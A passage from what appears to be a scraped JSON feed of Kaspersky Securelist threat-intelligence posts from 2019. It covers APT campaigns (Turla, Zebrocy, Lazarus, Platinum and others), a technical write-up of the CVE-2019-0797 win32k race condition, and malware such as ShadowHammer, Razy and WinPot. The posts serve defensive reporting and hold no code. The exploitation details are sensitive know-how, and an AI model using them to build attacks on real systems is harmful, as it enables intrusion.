believe the same COMPfun authors, who we tentatively associate with Turla based on victimology, developed this malware. One striking aspect of Reductor is that the threat actors put a lot of effort into manipulating installed digital root certificates and marking outbound TLS traffic with unique host-related identifiers. The malware adds embedded root certificates to the target host and allows operators to add additional ones remotely through a named pipe. The authors don't touch the network packets at all. Instead, they analyze Firefox source and Chrome binary code to patch the corresponding system pseudo-random number generation (PRNG) functions in the process's memory. Browsers use PRNG to generate the 'client random' sequence during the very beginning of the TLS handshake. Reductor adds the victims' unique encrypted hardware- and software-based identifiers to this 'client random' field.\n\nZebrocy has continued adding new tools to its arsenal using various kinds of programming languages. We found Zebrocy deploying a compiled Python script, which we call PythocyDbg, within a Southeast Asian foreign affairs organization. This module primarily provides for the stealthy collection of network proxy and communications debug capabilities. In early 2019, Zebrocy shifted its development efforts with the use of Nimrod/Nim, a programming language with syntax resembling both Pascal and Python that can be compiled down to JavaScript or C targets. Both the Nim downloaders that the group mainly uses for spear phishing, and other Nim backdoor code, are currently being produced by Zebrocy and delivered alongside updated compiled AutoIT scripts, Go, and Delphi modules. In September, Zebrocy spear-phished multiple NATO and alliance partners throughout Europe, attempting to gain access to email communications, credentials and sensitive documents. This campaign is similar to past Zebrocy activity, with target-relevant content used within emails, and ZIP attachments containing harmless documents alongside executables with altered icons and identical filenames. The group also makes use of remote Word templates pulling contents from the legitimate Dropbox file-sharing site. In this campaign, Zebrocy targeted defense and diplomatic targets located throughout Europe and Asia with its Go backdoor and Nimcy variants.\n\nIn June, we came across an unusual set of samples used to target diplomatic, government and military organizations in countries in South and Southeast Asia that we attribute to Platinum \u2013 one of the most technologically advanced APT actors. In this campaign, the attackers used an elaborate, previously unseen steganographic technique to conceal communication. A couple of years ago, we predicted that more and more APT and malware developers would use steganography, and this campaign provides proof. Interestingly, the attackers decided to implement the utilities they need as one huge set \u2013 an example of the framework-based architecture that is becoming more and more popular. Later in the year, [we discovered Platinum using a new backdoor, which we call Titanium](<https://securelist.com/titanium-the-platinum-group-strikes-again/94961/>), in a new campaign. Interestingly, we found certain similarities between this malware and a toolset that we called ProjectC. We detected ProjectC in 2016 being used as a toolset for lateral movement and we attributed it with low confidence to CloudComputating. Our new findings lead us to believe that the CloudComputating set of activities can be attributed to Platinum and that ProjectC was one of its toolsets.\n\nOne of the key findings of our 2018 report on [Operation AppleJeus](<https://securelist.com/operation-applejeus/87553/>) was the ability of the Lazarus group to target Mac OS. Since then, Lazarus has expanded its operations for this platform. This year, we discovered a new operation, active for at least a year, which utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers. Lazarus also targeted a mobile gaming company in South Korea that we believe was aimed at stealing application source code. It's clear that Lazarus keeps updating its tools very quickly.\n\nIn Q3, we tracked new activity by BlueNoroff, a sub-group of Lazarus. In particular, we identified a bank in Myanmar that this threat actor compromised. We promptly contacted the bank, to share the IoCs we had found. Our collaboration allowed us to obtain valuable information on how the attackers move laterally to access high-value hosts, such as those owned by the bank's system engineers interacting with SWIFT. They use a public login credential dumper and homemade PowerShell scripts for lateral movement. BlueNoroff also employs new malware with an uncommon structure, probably to slow down analysis. Depending on the command line parameters, this malware can run as a passive backdoor, an active backdoor or a tunneling tool; we believe the group runs this tool in different modes depending on the situation. Moreover, we found another type of PowerShell script used by this threat actor when it attacked a target in Turkey. This PowerShell script has similar functionality to those used previously, but BlueNoroff keeps changing it to evade detection.\n\nAndariel, another sub-group of Lazarus, has traditionally focused on geo-political espionage and financial intelligence in South Korea. We observed new efforts by this actor to build a new C2 infrastructure targeting vulnerable Weblogic servers, in this case exploiting CVE-2017-10271. Following a successful breach, the attackers implanted malware signed with a legitimate signature belonging to a South Korean security software vendor. The malware is a brand new type of backdoor, called ApolloZeus, which is started by a shellcode wrapper with complex configuration data. This backdoor uses a relatively large shellcode in order to make analysis difficult. In addition, it implements a set of features to execute the final payload discreetly. The discovery of this malware allowed us to find several related samples, as well as documents used by the attackers to distribute it, providing us with a better understanding of the campaign.\n\nIn October, we reported a campaign that began when we stumbled upon a sample that uses interesting decoy documents and images containing a contact list of North Korean overseas residents. Almost all of the decoys contain content regarding the national holiday of the Korean Peninsula and the national day of North Korea. The lure content was also related to diplomatic issues or business relationships. Alongside the additional data from our telemetry, we believe that this campaign is aimed at targets with a relationship with North Korea, such as business people, diplomatic entities and human rights organizations. The actor behind this campaign used high-profile spear phishing and multi-stage infection in order to implant tailored Ghost RAT malware that can fully control the victim. We believe that the threat actor behind this campaign, which has been ongoing for more than three years, speaks Korean; and we believe that the DarkHotel APT group is behind it.\n\nThe Lamberts is a family of sophisticated attack tools used by one or multiple threat actors. The arsenal includes network-driven backdoors, several generations of modular backdoors, harvesting tools and wipers for carrying out destructive attacks. We created a colour scheme to distinguish the various tools and implants used against different victims around the world. More information about the Lamberts arsenal is available in our 'Unraveling the Lamberts Toolkit' report, available to our APT Intel customers. This year, we added several new colours to the Lamberts palette. The Silver Lambert, which appears to be the successor of Gray Lambert, is a full-fledged backdoor, implementing some specific [NOBUS](<https://en.wikipedia.org/wiki/NOBUS>) and [OPSEC](<https://en.wikipedia.org/wiki/Operations_security>) concepts such as protection from C2 sink-holing by checking the server SSL certificate hash, self-uninstall for orphaned instances (i.e. where the C2 is unavailable) and low level file-wiping functionality. We observed victims of Silver Lambert in China, in the Aeronautics sector. Violet Lambert, a modular backdoor that appears to have been developed and deployed in 2018, is designed to run on various versions of Windows \u2013 including Windows XP, as well as Vista and later versions of Windows. We observed victims of Violet Lambert in the Middle East. We also found other new Lamberts implants on computers belonging to a critical infrastructure victim in the Middle East. The first two we dubbed Cyan Lambert (including Light and Pro versions). The third, which we called Magenta Lambert, reuses older Lamberts code and has multiple similarities with the Green, Black and White Lamberts. This malware listens on the network, waiting for a magic ping, and then executes a very well-hidden payload that we have been unable to decrypt. All the infected computers went offline shortly after our discovery.\n\nEarly in the year, we monitored a campaign by the LuckyMouse threat actor that had been targeting Vietnamese government and diplomatic entities abroad since at least April 2018. We believe that this activity, which we call SpoiledLegacy, is the successor to the IronTiger campaign because of the similar tools and techniques it uses. The SpoiledLegacy operators use penetration-testing frameworks such as Cobalt Strike and Metasploit. While we believe that they exploit network service vulnerabilities as their main initial infection vector, we have also observed executables prepared for use in spear-phishing messages containing decoy documents, showing the operator's flexibility. Besides pen-testing frameworks, the operators use the NetBot downloader and Earthworm SOCKS tunneler. The attackers also include HTran TCP proxy source code into the malware, to redirect traffic. Some NetBot configuration data contains LAN IPs, indicating that it downloads the next stage from another infected host in the local network. Based on our telemetry, we believe that internal database servers are among the targets, as in a previous LuckyMouse Mongolian campaign. As the last stage, the attackers use different in-memory 32- and 64-bit Trojans injected into system process memory. Interestingly, all the tools in the infection chain dynamically obfuscate Win32 API calls using leaked HackingTeam code. From the start of 2019, we observed a spike in LuckyMouse activity, both in Central Asia and in the Middle East. For these new campaigns, the attackers seem to focus on telecommunications operators, universities and governments. The infection vectors are direct compromise, spear phishing and, possibly, watering holes. Despite different open-source publications discussing this actor's TTPs during the last year, LuckyMouse hasn't changed any of them. The threat actor still relies on its own tools to get a foothold in the victim's network, which in the new campaigns consists of using HTTPBrowser as a first stager, followed by the Soldier Trojan as a second stage implant. The group made a change to its infrastructure, as it seems to rely uniquely on IPv4 addresses instead of domain names for its C2s, which we see as an attempt to limit correlation.\n\nThe HoneyMyte APT has been active for several years. The group has adopted different techniques to perform its attacks over the past couple of years, and has targeted governments in Myanmar, Mongolia, Ethiopia, Vietnam and Bangladesh, along with remote foreign embassies located in Pakistan, South Korea, the US, the UK, Belgium, Nepal, Australia and Singapore. This year, the group has targeted government organizations related to natural resource management in Myanmar and a major continental African organization, suggesting that one of the main motivations of HoneyMyte is gathering geopolitical and economic intelligence. While the group targeted a military organization in Bangladesh, it's possible that the individual targets were related to geo-political activity in the region.\n\nThe Icefog threat actor, which we have been tracking since 2011, has consistently targeted government institutions, military contractors, maritime and shipbuilding organizations, telecom operators, satellite operators, industrial and high technology companies, and mass media located mainly in Korea, Japan and Central Asia. Following [our original report on Icefog in 2013](<https://securelist.com/the-icefog-apt-a-tale-of-cloak-and-three-daggers/57331/>), the group's operational tempo slowed and we detected a very low number of active infections. We observed a slight increase in 2016; then, beginning in 2018, Icefog began conducting large waves of attacks against government institutions and military contractors in Central Asia, which are strategically important to China's Belt and Road Initiative. In the latest wave of attacks, the infection began with a spear-phishing email containing a malicious document that exploits a known vulnerability and ultimately deploys a payload. From 2018 to the beginning of 2019, the final payload was the typical Icefog backdoor. Since May 2019, the actors appear to have switched and are now using Poison Ivy as their main backdoor. The Poison Ivy payload is dropped as a malicious DLL and is loaded using a signed legitimate program, using a technique called load order hijacking. This technique is very common with many actors and it was also used in previous Icefog campaigns. During our investigation, we were also able to detect artefacts used in the actor's lateral movement. We observed the use of a public TCP scanner downloaded from GitHub, a Mimikatz variant to dump credentials from system memory, a customized keylogger to steal sensitive information, and a newer version of another backdoor named Quarian. The Quarian backdoor was used to create tunnels inside the victim infrastructure in an attempt to avoid network detections. The functionality of Quarian includes the ability to manipulate the remote file system, get information about the victim, steal saved passwords, download or upload arbitrary files, create tunnels using port forwarding, execute arbitrary commands, and start a reverse shell.\n\n## Evolution of the 'newcomers'\n\nWe first discussed ShaggyPanther, a previously unseen malware and intrusion set targeting Taiwan and Malaysia, in a private report in January 2018. Related activities date back to more than a decade ago, with similar code maintaining compilation timestamps from 2004. Since then, ShaggyPanther activity has been detected in several more locations: most recently in Indonesia in July, and \u2013 somewhat surprisingly \u2013 in Syria in March. The newer 2018 and 2019 backdoor code maintains a new layer of obfuscation and no longer maintains clear-text C2 strings. Since our original release, we have identified an initial server-side infection vector from this actor, using SinoChopper/ChinaChopper, a commonly used web shell shared by multiple Chinese-speaking actors. SinoChopper not only performs host identification and backdoor delivery but also email archive theft and additional activity. Although not all incidents can be traced back to server-side exploitation, we did detect a couple of cases and obtained information about their staged install process. In 2019, we observed ShaggyPanther targeting Windows servers.\n\nIn April, we published our report on [TajMahal](<https://securelist.com/project-tajmahal/90240/>), a previously unknown APT framework that has been active for the last five years. This is a highly sophisticated spyware framework that includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents, and cryptography key stealers; and even its own file indexer for the victim's computer. We discovered up to 80 malicious modules stored in its encrypted Virtual File System \u2013 one of the highest numbers of plugins we have ever seen in an APT toolset. The malware features its own indexer, emergency C2s, the ability to steal specific files from external drives when they become available again, and much more. There are two different packages, self-named Tokyo and Yokohama and the targeted computers we found include both packages. We think the attackers used Tokyo as the first stage infection, deploying the fully functional Yokohama package on interesting victims, and then leaving Tokyo in place for backup purposes. Our telemetry revealed just a single victim, a diplomatic body from a country in Central Asia. This begs the question, why go to all that trouble for just one victim? We think there may be other victims that we haven't found yet. This theory is supported by the fact that we couldn't see how one of the files in the VFS was used by the malware, opening the door to the possibility of additional versions of the malware that have yet to be detected.\n\nIn February, our AEP (Automatic Exploit Prevention) systems detected an attempt to exploit a vulnerability in Windows \u2013 the fourth consecutive exploited Local Privilege Escalation vulnerability in Windows that we had discovered in the preceding months. Further analysis led us to uncover a zero-day vulnerability in win32k.sys. Microsoft patched this vulnerability, CVE-2019-0797, on March 12, crediting Kaspersky researchers Vasiliy Berdnikov and Boris Larin with the discovery. We think that several threat actors, including FruityArmor and SandCat, used this exploit. FruityArmor had used zero-days before, while SandCat is a new APT actor that we discovered not long before. Interestingly, FrutiyArmor and SandCat seem to follow parallel paths, both having the same exploits available at the same time. This seems to point to a third party providing both groups with such artefacts.\n\nDuring February 2019, we observed a highly targeted attack in the southern part of Russia using a previously unknown malware that we call Cloudmid. This spy program spread via email and masqueraded as the VPN client of a well-known Russian security company that, among other things, provides solutions to protect networks. So far, we have been unable to relate this activity to any known actor. The malware itself is a simplistic document stealer. However, given its victimology and the targeted nature of the attack, we considered it relevant enough to monitor, even though we were unable to attribute this set of activities to any known actor. The low OPSEC and simplistic malware involved in this operation does not seem to point to an advanced threat actor.\n\nIn February, we identified a campaign targeting military organizations in India that we were unable to attribute to any known threat actor. The attackers rely on watering holes and spear phishing to infect their victims. Specifically, they were able to compromise the Centre for Land Warfare Studies (CLAWS) website, using it to host a malicious document used to distribute a variant of the Netwire RAT. We also found evidence of a compromised welfare club for military personnel distributing the same malware during the same period.\n\nIn Q3, we observed a campaign utilizing a piece of malware referred to by FireEye as DADJOKE. This malware was first used in the wild in January 2019 and subsequently underwent constant development. We have only seen this malware used in a small number of active campaigns since January, all targeting government, military and diplomatic entities in the Southeast Asia region. The latest campaign, conducted in August, seems to have targeted only a select few individuals working for a military organization.\n\n## Privacy matters\n\nOn January 17, security researcher Troy Hunt reported a [leak of more than 773 million email and 21 million unique password records](<https://www.troyhunt.com/the-773-million-record-collection-1-data-reach/>). The data, dubbed Collection #1, were originally shared on the popular cloud service MEGA. Collection #1 is just a small part of a bigger leak of about 1 TB of data, split into seven parts and distributed through a data-trading forum. The full package is a collection of credentials leaked from different sources during the past few years, the most recent being from 2017, so we were unable to identify any more recent data in this 'new' leak. It turned out that Collection #1 was just part of a [larger dump of leaked credentials comprising 2.2 billion stolen account records](<https://threatpost.com/collection-1-data-dump-hacker-identified/141447/>). The new data dump, dubbed Collection #2-5, was discovered by researchers at the Hasso Plattner Institute in Potsdam.\n\nIn February, further data dumps occurred. Details of 617 million accounts, stolen from 16 hacked companies, [were put up for sale on Dream Market](<https://www.theregister.co.uk/2019/02/11/620_million_hacked_accounts_dark_web/>), accessible via the Tor network. The hacked companies include Dubsmash, MyFitnessPal, Armor Games and CoffeeMeetsBagel. Subsequently, data from a further eight hacked companies [was posted](<https://www.zdnet.com/article/127-million-user-records-from-8-companies-put-up-for-sale-on-the-dark-web/>) to the same market place. Then in March, the [hacker behind the earlier data dumps posted stolen data from a further six companies](<https://threatpost.com/fourth-credential-spill-dreammarket/142901/>).\n\nStolen credentials, along with other personal information harvested from data leaks, is valuable not only to cybercriminals but also to targeted attackers, including those wishing to [track the activities of dissidents and activists](<https://www.amnesty.org/en/latest/research/2019/03/phishing-attacks-using-third-party-applications-against-egyptian-civil-society-organizations/>) in various parts of the world.\n\nWe've become used to a steady stream of reports in the news about leaks of email addresses and passwords. The theft of such 'traditional' forms of authentication is bad enough, but the effects of using alternative methods of authentication can be much more serious. In August, [two Israeli researchers discovered](<https://www.theguardian.com/technology/2019/aug/14/major-breach-found-in-biometrics-system-used-by-banks-uk-police-and-defence-firms>) fingerprints, facial recognition data and other personal information from the Suprema Biostar 2 biometric access control system in a publicly accessible database. The exposure of biometric data is of particular concern. A compromised password can be changed, but a biometric characteristic is for life.\n\nMoreover, the more widespread use of smart devices in new areas of our lives opens up a bigger pool of data for attackers. Consider, for example, the potential impact of smart speakers for listening in on unguarded conversations in the home. Social media giants are sitting on a growing pile of personal information \u2013 information that would prove very valuable to criminals and APT threat actors alike.\n\n## Final thoughts\n\nWe will continue to track all the APT activity we can find and will regularly highlight the more interesting findings, but if you want to know more, please reach out to us at [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>)", "cvss3": {}, "published": "2019-12-04T10:00:22", "type": "securelist", "title": "APT review: what the world\u2019s threat actors got up to in 2019", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-10271", "CVE-2019-0797"], "modified": "2019-12-04T10:00:22", "id": "SECURELIST:C7E3F6A27205B506CE8683317323C0BC", "href": "https://securelist.com/ksb-2019-review-of-the-year/95394/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-03-13T10:48:33", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/07/09154119/abstraction_2-990x400.jpg)\n\nIn February 2019, our Automatic Exploit Prevention (AEP) systems detected an attempt to exploit a vulnerability in the Microsoft Windows operating system. Further analysis of this event led to us discovering a zero-day vulnerability in win32k.sys. We reported it to Microsoft on February 22, 2019. The company confirmed the vulnerability and assigned it [CVE-2019-0797](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0797>). Microsoft have just released a patch, crediting Kaspersky Lab researchers **Vasiliy Berdnikov** and **Boris Larin** with the discovery:\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/03/13093326/CVE-2019-0797_MS.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/03/13093326/CVE-2019-0797_MS.png>)\n\nThis is the fourth consecutive exploited Local Privilege Escalation vulnerability in Windows we have discovered recently using our technologies. Just like with [CVE-2018-8589](<https://securelist.com/a-new-exploit-for-zero-day-vulnerability-cve-2018-8589/88845/>), we believe this exploit is used by several threat actors including, but possibly not limited to, FruityArmor and SandCat. While FruityArmor is known to have used zero-days before, SandCat is a new APT we discovered only recently. In addition to CVE-2019-0797 and CHAINSHOT, SandCat also uses the FinFisher/FinSpy framework.\n\nKaspersky Lab products detected this exploit proactively through the following technologies:\n\n 1. Behavioral detection engine and Automatic Exploit Prevention for endpoint products;\n 2. Advanced Sandboxing and Anti Malware engine for Kaspersky Anti Targeted Attack Platform (KATA).\n\nKaspersky Lab verdicts for the artifacts used in this and related attacks are:\n\n * HEUR:Exploit.Win32.Generic\n * HEUR:Trojan.Win32.Generic\n * PDM:Exploit.Win32.Generic\n\n## Brief technical details \u2013 CVE-2019-0797\n\nCVE-2019-0797 is a race condition that is present in the win32k driver due to a lack of proper synchronization between undocumented syscalls NtDCompositionDiscardFrame and NtDCompositionDestroyConnection. The vulnerable code can be observed below on screenshots made on an up-to-date system during initial analysis:\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/03/12130958/190312-cve2019-0797-1.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/03/12130958/190312-cve2019-0797-1.png>)\n\nSnippet of NtDCompositionDiscardFrame syscall (Windows 8.1)\n\nOn this screenshot with the simplified logic of the NtDCompositionDiscardFrame syscall you can see that this code acquires a lock that is related to frame operations in the structure DirectComposition::CConnection and tries to find a frame that corresponds to a given id and will eventually call a free on it. The problem with this can be observed on the second screenshot:\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/03/12131015/190312-cve2019-0797-2.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/03/12131015/190312-cve2019-0797-2.png>)\n\nSnippet of NtDCompositionDestroyConnection syscall inner function (Windows 8.1)\n\nOn this screenshot with the simplified logic of the function DiscardAllCompositionFrames that is called from within the NtDCompositionDestroyConnection syscall you can see that it does not acquire the necessary lock and calls the function DiscardAllCompositionFrames that will release all allocated frames. The problem lies in the fact that when the syscalls NtDCompositionDiscardFrame and NtDCompositionDestroyConnection are executed simultaneously, the function DiscardAllCompositionFrames may be executed at a time when the NtDCompositionDiscardFrame syscall is already looking for a frame to release or has already found it. This condition leads to a use-after-free scenario.\n\nInterestingly, this is the third race condition zero-day exploit used by the same group in addition to CVE-2018-8589 and [CVE-2018-8611](<https://securelist.com/zero-day-in-windows-kernel-transaction-manager-cve-2018-8611/89253/>).\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/03/12131035/190312-cve2019-0797-3.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/03/12131035/190312-cve2019-0797-3.png>)\n\nStop execution if module file name contains substring \"chrome.exe\"\n\nThe exploit that was found in the wild was targeting 64-bit operating systems in the range from Windows 8 to Windows 10 build 15063. The exploitation process for all those operating systems does not differ greatly and is performed using heap spraying palettes and accelerator tables with the use of GdiSharedHandleTable and gSharedInfo to leak their kernel addresses. In exploitation of Windows 10 build 14393 and higher windows are used instead of palettes. Besides that, that exploit performs a check on whether it's running from Google Chrome and stops execution if it is because vulnerability CVE-2019-0797 can't be exploited within a sandbox.", "cvss3": {}, "published": "2019-03-13T10:00:52", "type": "securelist", "title": "The fourth horseman: CVE-2019-0797 vulnerability", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-8589", "CVE-2018-8611", "CVE-2019-0797"], "modified": "2019-03-13T10:00:52", "id": "SECURELIST:63F08CF43123326EE123EADFF8681D0D", "href": "https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-29T16:21:47", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22101624/malware_SL_pic3-990x400.jpg)\n\n## Targeted attacks and malware campaigns\n\n### Go Zebrocy\n\nZebrocy was first observed being used as a Sofacy backdoor in 2015. However, the collection of cases where this tool has been used mean that we consider it a subset of activity in its own right. On the basis of this threat actor's past behaviour, we predicted last year that Zebrocy would continue to innovate in its malware development. The group has developed using Delphi, AutoIT, .NET, C# and PowerShell. Since May 2018, [Zebrocy has added the \"Go\" language to its arsenal](<https://securelist.com/a-zebrocy-go-downloader/89419/>) \u2013 the first time that we have observed a well-known APT threat actor deploy malware with this compiled open-source language.\n\nZebrocy continues to target government-related organizations in Central Asia, both in-country and in remote locations, as well as a new diplomatic target in the Middle East. The group also continued to innovate. Much of the spear-phishing remains thematically the same and continues to be characteristically high volume for a targeted attacker \u2013 a trend that is likely to continue. However, the remote locations of the Central Asian targets are becoming more spread out \u2013 including South Korea, the Netherlands and others. The focus to date has been on Windows, but we expect the group to continue making further innovations within its malware set \u2013 perhaps all their components will soon support every platform used by their victims, including Linux and Mac OS.\n\n### GreyEnergy overlap with Zebrocy\n\nGreyEnergy is believed to be a successor to the BlackEnergy group (aka Sandworm), best known for its involvement in attacks on Ukrainian energy facilities in 2015 that led to power outages. Like its predecessor, GreyEnergy has been detected attacking industrial and ICS targets, mainly in Ukraine.\n\n[Kaspersky Lab ICS CERT](<https://ics-cert.kaspersky.com/>) has identified an [overlap between GreyEnergy and Zebrocy](<https://securelist.com/greyenergys-overlap-with-zebrocy/89506/>).\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184756/it-threat-evolution-q1-2019-1.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184756/it-threat-evolution-q1-2019-1.png>)\n\nNo direct evidence exists as to the origins of GreyEnergy, but the links between GreyEnergy and Zebrocy suggest the groups are related. Kaspersky Lab researchers have detailed how both groups shared the same C2 (command-and-control) server infrastructure for a certain period of time and how both targeted the same organization almost simultaneously, which more or less confirms the relationship between the two.\n\n### Chafer uses Remexi malware to spy on Iran-based diplomatic agencies\n\nThroughout autumn 2018, we analyzed a long-standing (and still active at that time) [cyber-espionage campaign that primarily targeted foreign diplomatic entities in Iran](<https://securelist.com/chafer-used-remexi-malware/89538/>). The attackers used an improved version of the Remexi malware, previously associated with an APT threat actor that Symantec calls Chafer. This group has been observed since at least 2015, but based on things such as compilation time-stamps, and C2 registration, it's possible that the group has been active for even longer. Traditionally, Chafer has focused on targets inside Iran, although its interests clearly include other countries in the Middle East.\n\nThe attackers rely heavily on Microsoft technologies on both client and server sides. The Trojan uses standard Windows utilities such as the Microsoft BITS (Background Intelligent Transfer Service) \"bitsadmin.exe\" to receive commands and exfiltrate data. This data includes keystrokes, screenshots, and browser-related data such as cookies and history, decrypted where possible. The C2 is based on IIS using .ASP technology to handle the victims' HTTP requests.\n\n### New zero-day vulnerability exploited by APT threat actors\n\nIn February, our [AEP (Automatic Exploit Prevention) systems detected an attempt to exploit a vulnerability in Windows](<https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/>) \u2013 the fourth consecutive exploited Local Privilege Escalation vulnerability in Windows that we have discovered recently using our technologies. Further analysis led us to uncover a zero-day vulnerability in \"win32k.sys\". We reported this to Microsoft on February 22, who confirmed the vulnerability and assigned it CVE-2019-0797. Microsoft released a patch on March 12, 2019, crediting Kaspersky Lab researchers Vasiliy Berdnikov and Boris Larin with the discovery. Just as with CVE-2018-8589, we believe that this exploit is being used by several threat actors, including, but possibly not limited to, FruityArmor and SandCat. While FruityArmor is known to have used zero-days before, SandCat is a new APT actor that we discovered only recently.\n\n### Lazarus continues to target crypto-currency exchanges\n\nThe Lazarus APT group is well-known for [targeting financial organizations](<https://securelist.com/operation-applejeus/87553/>). In the middle of 2018, we published our report on '[Operation AppleJeus](<https://securelist.com/operation-applejeus/87553/>)', highlighting the threat actor's focus on crypto-currency exchanges, using a fake company with a backdoored product aimed at crypto-currency businesses. One of the key findings was the group's new ability to target Mac OS. Since then, Lazarus has expanded its operations for this platform. Further tracking of the group's activities enabled us to discover a new operation, active since at least November 2018, which [utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers](<https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/>).\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184814/it-threat-evolution-q1-2019-2.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184814/it-threat-evolution-q1-2019-2.png>)\n\nThe Lazarus group continues to update its TTPs (Tactics, Techniques and Procedures) to help it fly under the radar. We would urge organizations involved in the booming crypto-currency or technological startup industry to exercise extra caution when dealing with new third parties or installing software. It's best to check new software with an anti-virus program or at least use popular free virus-scanning services such as [VirusTotal](<https://www.virustotal.com/gui/home/upload>). You should never set 'Enable Content' (macro scripting) in Microsoft Office documents received from new or untrusted sources. If you need to try out new applications, it's better to do so offline or on an isolated network virtual machine which you can erase with a few clicks. For more details on this and other research, you can subscribe to our [APT intelligence reports](<https://www.kaspersky.co.uk/enterprise-security/apt-intelligence-reporting>).\n\n### Under the [Shadow]Hammer\n\nIn January, we discovered a [sophisticated supply-chain attack involving the ASUS Live Update Utility](<https://securelist.com/operation-shadowhammer/89992/>), used to deliver BIOS, UEFI and software updates to ASUS laptops and desktops. The attackers added a backdoor to the utility and then distributed it to users through official channels. ASUS has a wide install base, making this an attractive target for APT threat actors. The compromised version of the utility was distributed to a large number of people between June and November 2018. Our telemetry shows that 57,000 Kaspersky Lab customers downloaded and installed it, although we believe the real scale of the problem is much bigger, possibly affecting over a million users worldwide.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184836/it-threat-evolution-q1-2019-3.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184836/it-threat-evolution-q1-2019-3.png>)\n\nThe goal of the attack was to surgically target an unknown pool of users, identified by their network adapter MAC addresses. The attackers hardcoded a list of MAC addresses in the Trojanized samples, which identifies the true targets of this massive operation. We were able to extract over 600 unique MAC addresses from more than 200 samples discovered in this attack, although it's possible that other samples exist which target different MAC addresses. You can check if your MAC address is on the target list [here](<https://shadowhammer.kaspersky.com/>).\n\n## Other malware news\n\n### Razy Trojan steals crypto-currency\n\nWhile many browser extensions make our lives easier, some are altogether more dangerous, bombarding us with advertising or collecting information about our activities. Some are even designed to steal money. We recently reported the Razy Trojan, malware [that installs a malicious browser extension on the victim's computer or infects an already installed extension](<https://securelist.com/razy-in-search-of-cryptocurrency/89485/>). To do so, it disables the integrity check for installed extensions and automatic updates for the targeted browser. The Trojan works with Google Chrome, Mozilla Firefox and Yandex browsers, though it has different infection scenarios for each browser type. Razy spreads via advertising blocks on websites and is distributed from free file-hosting services under the guise of legitimate software. Razy serves several purposes, mostly related to the theft of crypto-currency. Its main tool, the script 'main.js', is capable of searching for addresses of crypto-currency wallets on websites and replacing them with the attacker's wallet addresses, spoofing images of QR codes pointing to wallets, modifying the web pages of crypto-currency exchanges and spoofing Google and Yandex search results.\n\n### Turning ATMs into slot machines\n\n'Jackpotting' refers to the fraudulent methods used by criminals to obtain cash from ATMs. One recent example is the WinPot malware. The malware is notable because the criminals [designed the user interface to resemble a slot machine](<https://securelist.com/atm-robber-winpot/89611/>).\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184847/it-threat-evolution-q1-2019-4.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184847/it-threat-evolution-q1-2019-4.png>)\n\nHowever, unlike the machines in a casino, an ATM infected with WinPot always pays out \u2013 to the criminals. The malware window displays the denomination of banknotes for each cassette, so that the money mule operating the malware just needs to select the cassette with the most money in it and press 'Spin'. The 'Scan' button can be used to recount the notes. The authors also include an emergency 'Stop' button, to allow the mule to cut short the pay out so as not to arouse suspicion.\n\nThere are several versions of the malware, and while their core functionality is essentially the same, there are some differences. For example, some versions will only dispense cash for a limited period of time and then they deactivate themselves. As with [Cutlet Maker](<https://securelist.com/atm-malware-is-being-sold-on-darknet-market/81871/>), WinPot is available on the Darknet for between $500 and $1,000, depending on the version.\n\nTo block attacks of this kind, we recommend that banks adopt device control and whitelisting. The former will block attempts to implant malware in the ATM using a USB device, while the latter will prevent execution of unauthorized software on the ATM. [Kaspersky Embedded Systems Security](<https://www.kaspersky.com/enterprise-security/embedded-systems>) can be used to secure ATMs.\n\n### Pirate Matryoshka\n\nUsing torrent trackers to spread malware is a well-known practice: cybercriminals disguise it as popular software, computer games, media files and other sought-after content. Earlier this year we detected one such campaign, when The Pirate Bay (TPB) tracker filled up with harmful files used to distribute malware under the guise of cracked copies for paid programs. The tracker contained malicious torrents created from dozens of different accounts, including those registered on TBP for quite some time. Instead of the expected software, the downloaded file was a Trojan, [Pirate Matryoshka](<https://securelist.com/piratebay-malware/89740/>), whose basic logic was implemented by SetupFactory installers.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184920/it-threat-evolution-q1-2019-5.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22184920/it-threat-evolution-q1-2019-5.png>)\n\nDuring the initial stage, the installer decrypts another SetupFactory installer to display a phishing web page. This page opens directly in the installation window and requests the user's TBP account credentials, supposedly to continue the process. The second downloaded component is also a SetupFactory installer, used to decrypt and run four PE files in sequence. The second and fourth of these files are 